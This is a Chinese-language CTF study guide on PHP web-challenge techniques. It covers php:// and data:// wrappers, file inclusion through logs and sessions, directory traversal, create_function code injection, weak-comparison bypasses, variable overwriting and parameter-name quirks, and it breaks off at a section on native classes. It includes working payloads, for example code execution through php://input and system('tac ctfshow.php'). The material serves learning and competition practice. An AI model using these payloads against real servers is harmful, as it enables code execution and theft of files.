近期关于CTF中PHP的知识总结

PHP笔记

前言

由于在新生赛或者是一些比赛的签到题经常会出现 php 源码题,一般来说这种题都是简单题,但时不时会出现某些自己不认识或者不记得的函数卡住题目进度,有可能是真的有什么样的绕过方式不知道,所以在这里我就做一个整理,主要还是对一些 ctf 的 php 题做一个全方位的攻略。

目录

1.php伪协议以及文件包含

(1)php://filter

读取指定php文件,并用base64编码(否则直接作为php代码执行了就看不到了)

1
php://filter/convert.base64-encode/resource=/var/www/html/index.php

这里伪协议的协议中都指定了特定的协议键,识别到不认识单词(如woofers)时不认识会忽略掉

(2)phar://

这个就是php解压缩包的一个伪协议,不管后缀是什么,都会当做压缩包来解压。

利用条件:

  1. php版本大于等于php5.3.0
  2. 对allow_url_include不做要求。
  3. 对allow_url_fopen不做要求。
1
fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/phpinfo.php

phar反序列化在下面章节有提到

指路明灯:Phar 反序列化

(3)file://

file://伪协议用于访问本地文件系统

利用条件:

  1. 对allow_url_include不做要求。
  2. 对allow_url_fopen不做要求。
1
fileinclude.php?file=file://C:/Windows/win.ini

(4)php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype="multipart/form-data" 的时候 php://input 是无效的。

利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。
1
2
3
4
fileinclude.php?file=php://input

POST:
<?php phpinfo(); ?>

(5)zip://

zip伪协议和phar伪协议类似,但是用法不一样。

利用条件:

  1. php版本大于等于php5.3.0
  2. 对allow_url_include不做要求。
  3. 对allow_url_fopen不做要求。
1
2
#但是使用zip伪协议,需要指定绝对路径,而且压缩包文件和压缩包内的文件之间得用#,还要将#给URL编码为%23,之后填上压缩包内的文件。
fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23phpinfo.php

(6)data://

要求:allow_url_fopen:on,allow_url_include:on

可以直接执行php代码,比如

1
2
3
data://text/plain,<?php phpinfo();?>
或者加层base64编码
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

文件包含

文件包含漏洞是由于程序在处理文件包含操作时未对用户输入进行严格校验,导致攻击者可以通过恶意输入执行非预期操作或访问敏感文件。以下是常见的造成文件包含漏洞的函数及其特点:

PHP中的文件包含函数

  1. include() 该函数在代码执行到时才包含文件。如果文件不存在,会抛出警告,但程序继续运行。
  2. include_once() 功能与include()类似,但确保同一文件只会被包含一次,避免重复定义函数或变量。
  3. require() 与include()类似,但如果文件不存在,会抛出致命错误并终止程序运行。
  4. require_once() 功能与require()类似,但同样确保同一文件只会被包含一次。

其他可能引发漏洞的函数

  1. file_get_contents() 用于读取文件内容,如果结合用户输入使用,可能导致敏感文件泄露。
  2. fopen() 用于打开文件或URL,若未对输入路径进行校验,可能被利用访问任意文件。
  3. readfile() 直接读取文件内容并输出,若路径可控,可能导致敏感信息泄露。
  4. show_source() / highlight_file() 用于显示文件的源代码,若路径未校验,可能暴露敏感代码。

遇到文件包含的题目,正常来说是通过各种各样的伪协议去读取文件或者RCE,或者是存在可以写入木马的地方并且可以包含利用

在这里伪协议就不提了,主要提一下其他的文件包含

日志文件包含

众所周知服务器会有一个日志保存一些访问数据什么的,那有没有可能去文件包含日志呢?(近几年非常流行的一个超级大洞log4j也是日志有关的)

用户发起请求时,服务器会把请求写到access.log里(phpstudy/Extension/Apache或者Nginx/logs里就存放着日志),比如Nginx的日志里就有像这样的请求记录:

1
127.0.0.1 - - [16/Oct/2023:18:46:47 +0800] "GET /DVWA/favicon.ico HTTP/1.1" 200 1406 "http://localhost/DVWA/setup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.46"

这里域名,UA头都是我们可控的,完全可以写入恶意代码。

但是会有url编码把<,?这些字符编码了,可以用BP抓包了再写

日志的位置一般需要读取服务器配置文件(httpd.conf,nginx.conf),或者在PHPINFO里看

Session包含

参考链接之Session是什么:PHP: 基本用法 - Manual

Session有点类似Cookie,一个用户访问后,会为其创建一个Session变量,会话结束后会把Session存储到session.save_path

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}

if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];

$stmt->bind_result($res_password);

if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");

$_SESSION[‘username’]可控且会被写入文件,可以在里面写入恶意代码,再包含Session存储文件

那么session.save_path在哪里呢?一般是

1
/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85

sess_后面那一串是PHPSESSID,没错就是bp抓包时候抓到的Cookie之一

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

这些也是常见存放位置,当然如果有phpinfo就最好了,直接在phpinfo里找到就行了

选做:了解Session配合PHP反序列化漏洞

远程文件包含

前提:allow_url_include,allow_url_fopen都为On

服务器就可以直接包含你服务器上的恶意代码,就如正常用户访问一样,不过条件比较苛刻就是,重点讲讲绕过

绕过

指定前缀
1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>

服务端代码有时候会指定前缀,绕过方法有:

目录遍历

file参数传入../../../../../../etc/passwd,最终文件路径就会被拼接为/var/www/html/../../../../../../etc/passwd(../多了没事,不会报错的),实际就还是/etc/passwd

编码绕过

**../**经常会被过滤,可以用url编码比如%2e%2e%2f,或者双写。

还有服务端(java)特性appsec - Why does Directory traversal attack %C0%AF work? - Information Security Stack Exchange有点像宽字节注入,挺有意思

指定后缀
1
2
3
4
<?php
$file = $_GET['file'];
include $file.'.jpg';
?>
问号绕过

比如file传http://yourhost/1.php?1,就会把后缀识别为GET参数

井号绕过

#会截断拓展名,但是需要url编码,#的url编码是%23,比如http://yourhost/1.php%23

有点奇怪,这两个绕过我从来没有绕过去过,有些时候如果开了allow_url_fopen:on,allow_url_include:on就可以用data://协议绕过,如data://text/plain,<?php phpinfo();?>

2.php特殊函数

这里列举出的都是可能会在ctf题目中出现的特殊函数,但是实际上php的函数数不胜数,也不可能在这里一一列举完,之所以会设计这个板块是希望可以提供一个可供查询的一个地方,并且通过这个函数可以引申到其他板块的知识点。

希望大家在ctf题目中遇到像这样的特殊函数不要直接丢给ai让其一把梭,而是看一看这个函数是什么作用,出题人放在这里又想要你写出怎么样的payload,我写在这里的函数只有寥寥数几,如果遇到了不认识或者这里没有写到的函数,还请大家可以去搜索查询该函数是什么用处

(1)call_user_func()

call_user_func() 函数用于调用回调函数,回调函数可以是内置函数、自定义函数、类的方法等。而 include 是 PHP 的一个语言结构,用于包含并执行指定的文件,它不是一个可以作为回调函数使用的函数。

call_user_func($a,$b)后面的 $b 只会作为字符串传到前面的 $a 作为参数调用,如果 $b 是一个函数的话是不会运行的

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

**call_user_func()**函数把第一个参数作为回调函数,其余参数都是回调函数的参数

_()是一个函数 _()等效于gettext() 是gettext()的拓展函数。开启text扩展,需要php扩展目录下有php_gettext.dll

1
2
3
4
5
6
7
#测试代码:
<?php
echo gettext("ctfshownb");
//输出结果:ctfshownb

echo _("ctfshownb");
//输出结果:ctfshownb

get_defined_vars()函数作用: 返回由所有已定义变量所组成的数组 这样可以获得 $flag

整个执行流程就是

1
2
3
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));//输出数组

**payload: **

1
?f1=_&f2=get_defined_vars

(2)preg_replace()函数

先学习一下preg_replace函数PHP preg_replace() 函数 | 菜鸟教程 (runoob.com)

函preg_replace 函数执行一个正则表达式的搜索和替换。

preg_replace ( $pattern , $replacement , $subject)

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

返回值:

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

(3)**escapeshellarg()**函数

escapeshellarg() PHP: escapeshellarg - Manual 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符 。

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线()都会被一个额外的反斜线所转义。

(4)**escapeshellcmd()**函数

escapeshellcmd() PHP: escapeshellcmd - Manual 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)。

PHP escapeshellarg()+escapeshellcmd() 之殇

(5)create_function()函数

适用范围:PHP 4> = 4.0.1PHP 5PHP 7,在php 7.20版本被弃用,php8的版本完全移除

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

1
2
3
create_function(string $args,string $code)
string $args //声明的函数变量部分
string $code //执行的方法代码部分
1
2
3
4
5
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

结果如下:

1
2
New function:  lambda_1
ln(2) + ln(2.718281828459) = 1.6931471805599

create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。

create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

因此,上述匿名函数的创建与执行过程等价于:

1
2
3
4
5
<?php
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>

因此,我们完全可以针对这个特性进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#本地测试代码
create_function('$test','echo $test."very cool"')
//等于
function f($test){
echo $test."very cool";
}

/*利用如下
如果我们第二个参数输入的是'echo 111;}phpinfo();//'
即可把前面的方法括号给闭合并且成功执行phpinfo命令,后面用//注释掉后边的语句
也就是下面这个结构
*/
function f($dotast){
echo 111;
}
phpinfo();//}

这样就可以直接执行phpinfo()针对这个函数进行了绕过

(6)PHP intval() 函数

intval() 是 PHP 中用于将变量转换为整数值的函数,支持多种数据类型和进制转换。它常用于强制类型转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

echo intval(42); // 输出: 42

echo intval(4.2); // 输出: 4

echo intval('42abc'); // 输出: 42

echo intval('abc42'); // 输出: 0

echo intval(0x1A); // 输出: 26 (十六进制)

echo intval(array()); // 输出: 0 (空数组)

echo intval(array(1)); // 输出: 1 (非空数组)

?>

功能与语法

  • 语法: intval(mixed $var, int $base = 10): int
  • 参数: $var: 要转换的变量。 $base: 可选,指定进制(仅对字符串有效)。默认是十进制。

特性与行为

  • 进制支持: 如果字符串以 0x 开头,按十六进制处理。 如果以 0 开头,按八进制处理。 否则按十进制处理。

    1
    2
    echo intval('0xA'); // 输出: 10 
    echo intval('012'); // 输出: 10 (八进制)
  • 数组转换: 空数组返回 0。 非空数组返回 1。

    1
    echo intval([]);		  // 输出: 0 echo intval([1, 2, 3]);   // 输出: 1
  • 字符串转换: 如果字符串以数字开头,提取连续数字部分。 如果以字母开头,返回 0。

    1
    2
    echo intval('123abc');	// 输出: 123 
    echo intval('abc123'); // 输出: 0
  • 浮点数转换: 截取小数点前的整数部分,不进行四舍五入。

    1
    echo intval(3.9);		 // 输出: 3

注意事项

  • 对象传递会抛出警告并返回 1
  • 超出系统整数范围时,返回最大或最小整数值(取决于系统位数)。

(7)preg_match()函数

preg_match 函数用于执行一个正则表达式匹配。

注:preg_match 函数只能传入字符串,如果传入数组就会返回 false

在 ctf 题目中很多 php 的黑名单过滤就是通过这个函数

语法:

1
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

搜索 subject 与 pattern 给定的正则表达式的一个匹配。

参数说明:

  • $pattern: 要搜索的模式,字符串形式。
  • $subject: 输入字符串。
  • $matches: 如果提供了参数matches,它将被填充为搜索结果。$matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
  • $flags:flags 可以被设置为以下标记值:
    1. PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
  • offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。

返回值

返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

(8)strpos()函数

strpos 是 PHP 中用于查找字符串首次出现位置的函数,区分大小写,并从字符串的起始位置(索引 0)开始计算。

语法

strpos(string $haystack, string $needle, int $offset = 0): int|false

  • $haystack: 被搜索的字符串。
  • $needle: 要查找的子字符串。
  • $offset: 可选参数,指定从哪个位置开始搜索。

返回值

  • 如果找到子字符串,返回其首次出现的索引(从 0 开始),如:

    1
    2
    3
    4
    5
    <?php   //这也是带偏移量的示例
    $string = "abcdef abcdef";
    $position = strpos($string, "a", 1); // 从索引 1 开始搜索
    echo $position; // 输出: 7
    ?>
  • 如果未找到,返回 false

注意事项:

  • 区分大小写strpos(“Hello”, “h”) 返回 false,因为大小写不匹配。
  • 布尔值比较:使用 === 判断返回值,以避免将索引 0 误判为 false
  • 偏移量:通过 $offset 参数可以跳过指定长度的字符进行搜索。

(9)in_array()函数

in_array() 是 PHP 中用于检查指定值是否存在于数组中的函数。它支持严格模式以确保类型匹配。

函数语法

in_array(mixed $needle, array $haystack, bool $strict = false): bool

  • $needle:要搜索的值。
  • $haystack:要搜索的数组。
  • $strict(可选):若为 true,则同时检查值的类型。

严格模式示例

1
2
3
4
5
6
7
8
9
<?php
$numbers = array(1, 2, "3");
// 使用严格模式
f (in_array("3", $numbers, true)) {
echo "匹配成功!";
} else {
echo "匹配失败!";
}
?>

输出:匹配失败!

例题:

1
2
3
4
5
6
7
$allow = array();      #创建空数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); #在1-$i之间随机生成一个整数,添加到数组$allow尾部
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']); #向文件名为传入的n里写入content的内容
}

因为in_array没有加true参数,所以是弱比较,弱比较会先强制转换类型,如果n传入1.php的话就会转成 1 的数字,这样就可以直接绕过in_array写入一句话木马

(10)is_numeric()函数

is_numeric() 函数用于检测变量是否为数字或数字字符串。

返回值

  • 如果指定的变量是数字数字字符串,则返回 TRUE
  • 否则,返回 FALSE

注意

  • 浮点型返回 TRUE
  • 带有空格的字符串在 PHP 8 中也会返回 TRUE

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

(11)file_put_contents()函数

file_put_contents() 函数用于将一个字符串写入文件中。如果文件不存在,该函数会创建一个新文件。

使用标志

追加内容

使用 FILE_APPEND 标志可以在文件末尾追加内容。

1
2
3
4
5
<?php
$file = 'example.txt';
$data = "\nAppended text.";
file_put_contents($file, $data, FILE_APPEND);
?>

文件锁定

使用 LOCK_EX 标志可以防止多人同时写入。

1
2
3
4
5
<?php
$file = 'example.txt';
$data = "\nLocked text.";
file_put_contents($file, $data, FILE_APPEND | LOCK_EX);
?>

返回值

该函数返回写入文件的字节数,如果失败则返回 false

注意:使用 FILE_APPEND 可以避免删除文件中已有的内容。

在这里有个考点为绕过死亡exit()

指路明灯:php伪协议绕过死亡exit()

(12)file_get_contents()函数

file_get_contents()真的是在ctf中很常见的一个题目了,很多时候只要出现它就会有很多漏洞,可以进行非常多的操作,比如文件包含、SSRF等等,不在这里过多赘述,详情转到其他板块

file_get_contents()的参数

1
file_get_contents(path, include_path, context, start, max_length)

其中,path 是必需的,指定要读取的文件。include_path 是可选的,用于指定是否在 include_path 中搜索文件。context 是可选的,用于指定文件句柄的环境。startmax_length 是可选的,分别用于指定在文件中开始读取的位置和读取的字节数。

file_get_contents()的HTTP请求功能

除了读取本地文件,file_get_contents() 还可以用于发起HTTP请求以获取远程资源。例如,以下代码使用 file_get_contents() 从远程服务器获取HTML内容:

1
2
3
4
<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>

在处理HTTP请求时,file_get_contents() 可以配合 stream_context_create() 函数使用,通过自定义上下文来设置HTTP方法、头信息等,从而实现更复杂的网络请求。

错误处理

file_get_contents() 遇到错误时,它会返回 false

(13)parse_str()函数

parse_str 是 PHP 中的一个函数,用于将查询字符串解析为变量。它通常用于处理 URL 查询字符串,将其转换为可以在 PHP 脚本中使用的变量。

基本用法

parse_str 函数的基本语法如下:

1
parse_str(string $string, array &$result): void
  • string:要解析的输入字符串。
  • result:可选参数。如果提供此参数,解析后的变量将存储在此数组中。

从 PHP 7.2 开始,result 参数是必需的。在 PHP 8.0.0 中,result 参数不再是可选的。

示例

以下是 parse_str 函数的几个示例:

示例 1:将查询字符串解析为变量

1
2
3
4
5
<?php
parse_str("name=Peter&age=43");
echo $name . "<br>"; // 输出:Peter
echo $age; // 输出:43
?>

在这个示例中,查询字符串中的变量 name 和 age 被解析并赋值给 PHP 变量 $name 和 $age。

示例 2:将前面的第一个参数解析为变量,并将其变量放入第二个参数的数组中(CTF中主要运用该点,同样,第一个参数也可以为变量)

1
2
3
4
<?php
parse_str("name=Peter&age=43", $myArray);
print_r($myArray);
?>

输出:

1
2
3
4
5
Array
(
[name] => Peter
[age] => 43
)

在这个示例中,解析后的变量存储在数组 $myArray 中。

注意事项

  1. 变量覆盖:如果未设置 result 参数,parse_str 函数设置的变量将覆盖已存在的同名变量。
  2. 字符转换:在解析过程中,点(.)和空格( )会被转换为下划线(_)。例如,My Value=Something 会被解析为 $My_Value
  3. 安全性:使用 parse_str 函数时要注意安全性,避免解析不可信的输入数据,以防止变量覆盖和代码注入等安全问题。

相关函数

  • **parse_url()**:解析 URL 并返回其组成部分。
  • **http_build_query()**:生成 URL 编码的查询字符串。
  • **urldecode()**:解码 URL 编码的字符串。

(14)ereg()函数

语法

1
int ereg(string pattern, string originalstring, [array regs]);

定义和用法

ereg()函数在字符串中搜索由模式指定的字符串,如果找到模式,则返回true,否则返回false。在搜索时,对于字母字符,要区分大小写。

可选的输入参数regs包含了正则表达式中括号分组的所有匹配表达式的数组。

返回值

  • 如果找到模式,则返回true,否则返回false。

CTF中的考点

ereg()函数的匹配可以被%00截断

3.php特性

(1)强比较与弱比较

PHP是一种弱类型语言,其比较操作符分为弱类型比较(*==)和强类型比较===*)。弱类型比较在比较之前会自动进行类型转换,而强类型比较则同时比较值和类型。

弱类型比较的行为

在弱类型比较中,PHP会根据操作数的类型自动进行转换。例如:

1
2
3
4
5
6
7
8
9
<?php

var_dump("123" == 123); // true,字符串 "123" 被转换为整数 123

var_dump("123abc" == 123); // true,字符串 "123abc" 被截断为整数 123

var_dump("abc123" == 0); // true,非数字开头的字符串被转换为 0

?>

当字符串被当作数值处理时,PHP会根据以下规则进行转换:

  • 如果字符串以数字开头,则提取开头的数字部分作为值。
  • 如果字符串不以数字开头或为空,则转换为 0
特殊情况:科学计数法

当字符串以 0e 开头并且后续全为数字时,PHP会将其识别为科学计数法,结果为 0。这在某些情况下可能导致意外的比较结果:

1
2
3
4
5
<?php

var_dump(md5("240610708") == md5("QNKCDZO")); // true,两个 MD5 值均以 "0e" 开头,被识别为 0

?>
常见绕过方式
JSON绕过

通过 json_decode 将 JSON 字符串解析为对象时,可以利用弱类型比较绕过验证:

1
2
3
4
5
6
7
8
9
<?php

$message = json_decode('{"key":0}');

$key = "admin";

var_dump($message->key == $key); // true,0 被转换为字符串 "admin"

?>
array_search 函数

array_search 默认使用弱类型比较,可以通过传入特定值绕过验证:

1
2
3
4
5
6
7
<?php

$array = [0, 1];

var_dump(array_search("admin", $array)); // int(0),"admin" 被转换为 0

?>
strcmp 函数

strcmp 用于比较两个字符串,但如果传入数组等非字符串类型,可能导致绕过:

1
2
3
4
5
6
7
<?php

$password = "secret";

var_dump(strcmp(["key"], $password) == 0); // true,非字符串类型导致错误但返回 0

?>

强类型比较的行为

强类型比较(*===*)不仅比较值,还比较类型。会先判断两种字符串的类型是否相等,再比较值是否相等。所以像类型转换,科学计数法之类的无法绕过

(2)运算符号优先级

php有运算的优先级,而且&& > = > and

举个例子:

1
$a = ture and false and false;    //$a == true

按照运算优先级,先执行=也就是赋值给$a为true,false就被忽略了

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

例题分析:

**is_numeric()**函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。看到最后eval,肯定是需要命令执行,这需要$v2传入命令,$v3需要;结尾,但这么一来is_numeric一处理就变成了

1
$vo = $v1 and FALSE and FAlse

但php有运算的优先级,也就是&&> = > and

按照运算优先级,先执行=也就是赋值给$a为true,false就被忽略了,思路也就有了,payload为

1
2
3
?v1=1&v2=system("tac ctfshow.php")&v3=;
or
?v1=1&v2=var_dump($ctfshow)&v3=; #var_dump() 函数用于输出变量的相关信息,这里用来获取ctfshow类中变量的相关信息。从而获得flag

(3)正则表达式的匹配模式差异

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ #/i表示不区分大小写,/m表示多行匹配
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

例题分析:

字符 ^$同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false
/m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if正则匹配会返回true。但是当不是多行匹配模式的时候也就是在第二个if正则匹配中出现换行符%0a的时,$cmd的值会被当做两行处理,因此当我们传入以下payload时,第二个if正则表达式匹配到的是aaaphp,不符合以php开头和以php结尾会返回false,从而echo出flag。

payload如下:

1
?cmd=aaa%0aphp            #%0a为换行符

(4)php变量覆盖

挺有趣的一个特性,只要前面加个$就会成为变量

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

例题分析:

这里利用的是变量覆盖,关键点在$$key=$$value,这里把$key的值当作了变量。

1
例如 $key=flag  则$$key=$flag

这里一共有三个变量,$error$suces$flag;这里通过die($error)或者die($suces)都可以输出flag,所以有两个payload。
第一种:
通过die($error)输出flag,首先我们把$flag的值传给$test,接着再把$test的值传给$error,于是$error的值就是flag,再通过if判断die输出就是flag。
例如$flag=ctfshow{xxxxx},?test=flag,通过第一个for循环,也就是$test=$flag,从而把变量flag的值赋给test变量,因此$test=ctfshow{xxxxx},接着再通过第二个for循环,$error=$test,此时$error=ctfshow{xxxxx} paylload如下:

1
2
3
4
?test=flag

post:
error=test

第二种:
通过die($suces)输出flag,首先我们把flag的值传给suces变量,接着再把flag的值给置空,以达到下面if条件为0不执行死亡函数的目的,从而往下执行,die($suces)即可把flag输出,payload如下:

1
?suces=flag&flag=

(5)关于GET或POST方式传进去的PHP变量名的非法字符自动转换错误

须知,在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为下划线_

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

这道题其中的一个难点是下面这行代码:

1
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))

由上可知,php中变量名只有数字字母下划线,是没有点.的,如果你在get或post传参传入.的话,php会自动转换为_的,这就会非常麻烦,但由于在PHP版本小于8会有一个特性:

如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

出题人的预期解

1
2
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

简单取一个本地测试的代码

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v_1[.'])){
$v1 = $_GET['v_1[.'];
echo $v1;
}

这时候直接GET传参?v_1[.=...是行不通的,但是如果传?v[1[.=...就可以了输出v1变量的值了

(6)php命令空间

PHP 命名空间是为了解决命名冲突问题而引入的机制,尤其在大型项目中非常有用。它允许开发者将类、函数和常量组织到逻辑单元中,从而避免名称重复。

示例:定义和使用命名空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 定义命名空间
namespace App\Controllers;

class HomeController {
public function index() {
echo "欢迎来到主页!\n";
}
}
// 使用命名空间中的类
use App\Controllers\HomeController;
$controller = new HomeController();
$controller->index(); // 输出: 欢迎来到主页!
?>

命名空间的作用

  1. 避免命名冲突:在不同模块中可以定义相同名称的类、函数或常量,而不会互相干扰。
  2. 提高代码可读性:通过逻辑分组,代码结构更加清晰。
  3. 支持自动加载:结合 Composer 等工具,自动加载类文件更加高效。
  4. 集成第三方库:轻松引入第三方库而不影响现有代码。

使用命名空间的方式

  • 完整路径调用

$controller = new \App\Controllers\HomeController();

  • 使用 use 导入

use App\Controllers\HomeController;

$controller = new HomeController();

  • 别名导入

use App\Controllers\HomeController as Controller;

$controller = new Controller();

注意事项

  • 命名空间必须是文件中的第一条语句(declare 除外)。
  • 动态调用时需使用完全限定名称,例如 \\App\\Controllers\\ClassName
  • 命名空间名称区分大小写,但关键字 namespace 不区分大小写。

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。

(7)php原生类

PHP 原生类指的是 PHP 自带提供、无需用户定义、通常由 PHP 内核或扩展模块实现的类。我们可以通过 get_declared_classes() 函数获取当前脚本中所有已经定义的类的名称,然后枚举其中所有的魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
// 获取当前已声明的所有类名
$classes = get_declared_classes();

// 定义魔术方法列表(用于安全研究中识别可被利用的入口)
$magicMethods = [
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
];

// 遍历所有类
foreach ($classes as $class) {
// 获取当前类中声明的方法
$methods = get_class_methods($class);

if (!$methods) continue; // 若类没有方法则跳过

// 遍历方法,查找是否包含魔术方法
foreach ($methods as $method) {
if (in_array($method, $magicMethods, true)) {
// 输出符合条件的类名与方法名
print "{$class}::{$method}\n";
}
}
}

非常推荐自己运行一下研究一下,由于结果太多就不在这里展示

PHP 原生类提供了许多内置功能,可以在特定场景下被利用来实现目录遍历、文件读取、XSS、SSRF 等操作。这些类通常通过其魔术方法(如 __toString__call等)触发特定行为,在CTF中时常会出现,遇到题目可能需要讨论一下是否需要php原生类的利用
常常出现在php反序列化题目,如果没有可用类也许就需要php原生类

Error 类

Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。

类摘要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
